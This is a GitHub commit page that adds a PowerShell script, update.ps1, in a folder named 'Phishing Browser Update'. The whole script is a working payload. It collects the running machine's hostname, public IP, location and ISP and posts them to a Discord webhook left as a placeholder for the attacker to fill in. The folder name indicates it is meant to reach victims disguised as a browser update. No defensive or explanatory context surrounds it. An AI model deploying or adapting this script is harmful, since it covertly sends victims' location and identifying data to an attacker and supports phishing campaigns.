Skip to content

Commit 4cb7c5a

Browse files
authored
Create update.ps1
1 parent 224bb1e commit 4cb7c5a

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

Phishing Browser Update/update.ps1

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
function Get-Geo {
2+
Param (
3+
[string]$wb = ""
4+
)
5+
6+
$ipInfoApiUrl = "http://ip-api.com/json"
7+
$hostname = [System.Net.Dns]::GetHostName()
8+
9+
try {
10+
$response = Invoke-RestMethod -Uri $ipInfoApiUrl -Method Get
11+
if ($response.status -eq 'success') {
12+
$geoData = @{
13+
'IP' = $response.query
14+
'Country' = $response.country
15+
'Region' = $response.regionName
16+
'City' = $response.city
17+
'Latitude' = $response.lat
18+
'Longitude' = $response.lon
19+
'TimeZone' = $response.timezone
20+
'ISP' = $response.isp
21+
}
22+
$geoLocation = New-Object PSObject -Property $geoData
23+
24+
if ($wb -ne "") {
25+
$discordData = @{
26+
'content' = "**Hostname:** $hostname
27+
**IP Address:** $($geoLocation.IP)
28+
**Country:** $($geoLocation.Country)
29+
**Region:** $($geoLocation.Region)
30+
**City:** $($geoLocation.City)
31+
**Latitude:** $($geoLocation.Latitude)
32+
**Longitude:** $($geoLocation.Longitude)
33+
**Time Zone:** $($geoLocation.TimeZone)
34+
**ISP:** $($geoLocation.ISP)"
35+
} | ConvertTo-Json
36+
37+
Invoke-RestMethod -Uri $wb -Method Post -Body $discordData -Headers @{
38+
'Content-Type' = 'application/json'
39+
}
40+
}
41+
}
42+
else {
43+
Write-Error "Failed to retrieve geolocation information."
44+
}
45+
}
46+
catch {
47+
Write-Error "An error occurred while trying to fetch geolocation data: $_"
48+
}
49+
}
50+
51+
52+
Get-Geo -wb "YOUR DISCORD WEBHOOK"

0 commit comments

Comments
 (0)